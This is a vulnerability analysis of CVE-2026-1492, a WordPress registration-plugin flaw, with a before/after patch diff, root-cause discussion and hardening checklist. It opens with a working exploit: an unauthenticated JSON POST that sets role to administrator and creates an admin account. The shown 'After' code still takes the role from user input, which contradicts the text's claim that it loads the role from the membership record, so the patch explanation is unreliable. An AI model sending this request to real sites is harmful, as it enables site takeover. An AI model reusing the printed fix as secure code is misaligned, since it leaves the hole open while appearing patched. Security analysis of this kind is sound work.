CVE-2026-1492 Exploit & Vulnerability Analysis

The Exploit

An unauthenticated attacker can create a WordPress administrator account by sending a single HTTP request to the user registration endpoint, supplying an arbitrary role parameter in the request body.

POST /wp-json/ur/v1/users HTTP/1.1
Host: target.wordpress.local
Content-Type: application/json

{
  "user_email": "[email protected]",
  "user_login": "admin_attacker",
  "user_password": "Password123!",
  "membership": "1",
  "role": "administrator"
}

The response contains HTTP 201 Created with a user object. The attacker then logs in with the supplied credentials and gains full WordPress administrative control. No existing authentication, nonce, or capability check blocks the role assignment during registration.

What the Patch Did

Before:

public function prepare_members_data( $data ) {
    $response         = array();
    $response['role'] = isset( $data['role'] ) ? sanitize_text_field( $data['role'] ) : 'subscriber';

After:

public function prepare_members_data( $data, $context = 'admin' ) {
    if ( 'frontend' === $context ) {
        $membership_detail  = $this->membership_repository->get_single_membership_by_ID( absint( $data['membership'] ) );
        $data['role']       = isset( $membership_detail['role'] ) ? sanitize_text_field( $data['role'] ) : 'subscriber';
    }
    
    $response         = array();
    $response['role'] = isset( $data['role'] ) ? sanitize_text_field( $data['role'] ) : 'subscriber';

The patch introduces a $context parameter and adds logic to enforce role assignment from the membership repository when the function is called from the frontend. Instead of blindly accepting the role value from user input ($data['role']), the code now retrieves the role from the membership configuration stored in the database and uses that as the authoritative source. sanitize_text_field() is preserved to ensure the retrieved role string is safe, but the source of truth has shifted from untrusted user input to server-side configuration.

Root Cause

CWE-639: Authorization Bypass Through User-Controlled Key and CWE-20: Improper Input Validation.

The prepare_members_data() function accepted the role key directly from the request body without validating that the caller (frontend user during registration) had permission to assign that role. The dataflow: a POST request to /wp-json/ur/v1/users supplies a JSON body containing role: "administrator". This request body is parsed and passed as the $data array to prepare_members_data(). The function reads $data['role'] and uses sanitize_text_field() to escape it for output safety — but sanitize_text_field() does not validate that the role string is an allowed role or that the requester can assign it. The role value crosses the trust boundary from untrusted user input directly into the user creation logic without an allowlist check or context-aware authorization rule.

Why It Works

The load-bearing line is the context check: if ( 'frontend' === $context ). Removing this line would preserve the vulnerability because the code would still accept $data['role'] from user input on the next line. The auxiliary changes—retrieving $membership_detail from the repository and assigning $data['role'] from that object instead of the request—implement the actual allowlist enforcement. The engineer added the repository lookup because the membership entity already contains the authorized role for that membership tier; reusing that value ensures the registration flow respects the membership configuration rather than letting users self-assign roles. The absint() call on the membership ID prevents SQL injection in the repository query. The context parameter is the guard that prevents this allowlist logic from running on admin requests, where the role should come from the admin's input (subject to separate capability checks elsewhere in the stack).

Root Cause (Continued)

The root cause is lack of an authorization boundary. The REST endpoint that calls prepare_members_data() did not enforce a check like current_user_can( 'manage_options' ) for admin-only roles, nor did it enforce a per-endpoint rule: "frontend callers must use the role defined in the membership product; admin callers may override." Instead, both code paths were conflated in a single function that blindly trusted $data['role'].

Hardening Checklist

• Add a role allowlist in REST endpoints. Before accepting a role parameter from a frontend request, explicitly check that the role exists in get_editable_roles() and that the current user has permission to assign it (use wp_roles()->is_role() for existence and current_user_can() for authorization). Reject any role not in the allowlist with a 403 Forbidden response.

• Use a context parameter to separate admin and frontend flows. Always pass a $context flag to functions that handle user input differently based on the caller's privilege level. Use strict equality checks (===) against whitelisted strings ('admin', 'frontend') rather than trusting function defaults.

• Retrieve sensitive fields from the database, not from user input. For fields like role that should be tied to a server-side entity (membership tier, subscription plan), always load the authoritative value from the database and validate user input against it. Use $wpdb->prepare() or ORM methods to prevent SQL injection.

• Validate required parameters with ! empty() not isset() when the parameter must have a non-null, non-empty value. Use isset() only when checking for the presence of an optional key.

• Apply wp_verify_nonce() to all form submissions and REST endpoints that modify user state. Even if the endpoint is publicly accessible, a nonce check prevents CSRF attacks and signals that state-changing operations must originate from the same site.

References

• https://nvd.nist.gov/vuln/detail/CVE-2026-1492